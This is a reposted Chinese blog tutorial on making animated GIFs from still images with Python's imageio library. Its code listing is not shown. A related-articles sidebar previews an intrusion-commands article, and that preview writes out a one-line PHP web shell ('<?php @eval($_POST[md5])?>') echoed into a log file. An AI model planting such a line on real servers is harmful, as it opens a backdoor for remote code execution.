教你用 Python 生成 GIF 动图 !

最近啊 ,微信订阅号改变频繁 ,很多读者后台说 :小詹啊 ,我总是容易错过你公号的消息 ,现在没有置顶功能很难过啊 !

不止你们难过 ,订阅号的作者恐怕更难过 !现在人人公众号时代 ,大家关注的公众号一定不少吧 ?导致很多喜欢的公号内容容易错过 。

其实吧 ,没了置顶 ,还有星标功能呀 !可能大多数人不知道 ,所以我们几个关系不错的朋友说做个 GIF 图吧 ,引导读者星标 。说干咱就干 ,虽然很多软件可以制作 GIF ,但是我们是谁啊 ?我们是程序猿好嘛 ?自己动手丰衣足食 !于是就有了一个用 Python 生成 GIF 动图的故事~

首先给大家看看动图效果 !

那么问题来了 ,代码呢 ?且慢慢看来 !

首先 ,调用一个 python 库 imageio 可以轻松实现 ,第一步当然是 pip 安装呀~

pip install imageio

安装之后 ,其实大体分为三个步骤 :

  • 读取静态图到列表中 ,作为 GIF 动图的每一帧
  • 设置输入(静态图)、输出(GIF 动图)和必要的参数 ,这里设置每一帧间隔时间 duration 为 1.5 秒 (具体值你高兴就好啦)
  • 然后调用 imageio 库的函数 imageio.mimsave 即可 。

PS :这里增加代码可读性 ,把 imageio.mimsave 和相关参数包装到一个函数内 。

整体代码和注释如下 :

得到的结果如上动图 。值得一提的是 ,许多在线网站生成要么是数量限制 5 张 ,要么是自动生成水印 。内心日狗了一万次 。。。果然 ,代码是个好东西 。

本文分享自微信公众号 - 小詹学Python(xiaoxiaozhantongxue)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

29130
来自专栏Python爬虫与数据挖掘

Python正则表达式初识(九)

继续分享Python正则表达式的基础知识,今天给大家分享的特殊字符是[\u4E00-\u9FA5],这个特殊字符最好能够记下来,如果记不得的话通过百度也是可以一...

10430
来自专栏镁客网

云业务“一路飘红”,微软或将第三个加入万亿美元市值俱乐部

Wedbush证券公司分析师Daniel Ives在最新报告中称,受益于云业务,微软“将成为下一个万亿美元市值的俱乐部成员”。当前,在科技领域,苹果和亚马逊已经...

6310
来自专栏学习有记

Anaconda:安装或更新 Python 第三方包

适用语言:Python, R, Ruby, Lua, Scala, Java, JavaScript, C/C++, FORTRAN。

3.8K50
来自专栏漏斗社区

官宣| 反手就送你们一个hook神器

上期的Android逆向之动态分析so篇大家学习的如何啦?本期斗哥将带来Android逆向之动态分析Frida篇。主要内容有Frida环境搭建与Frida在An...

23120
来自专栏Python小屋

Python+django网页设计入门(4):用户登录与登录验证

首先,按照Python+django网页设计入门(3):使用SQLite数据库描述的步骤创建网站。

43230
来自专栏FreeBuf

逃避沙箱并滥用WMI:新型勒索软件PyLocky分析

毫无疑问,在目前的网络威胁领域中,勒索软件仍然扮演着十分重要的角色。实际上,在2018年上半年勒索软件的活动还有所增加,并且相关勒索软件还通过各种升级更新来尝试...

10420
来自专栏Python小屋

(PPT)Python程序设计课程教学内容组织与教学方法实践

本文是董付国老师2018年10月20日在山东省高等学校计算机专业教学研究年会上作报告的PPT内容,版权所有,侵权必究!

17420
来自专栏Python专栏

Python | 19个优雅的Python编程技巧

http://lovesoo.org/pythonic-python-programming.html

41530
来自专栏机器学习算法与Python学习

Python技巧 101:这17个骚操作你都Ok吗

Python 是一门非常优美的语言,其简洁易用令人不得不感概人生苦短。在本文中,作者 Gautham Santhosh 带我们回顾了 17 个非常有用的 Pyt...

12040

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励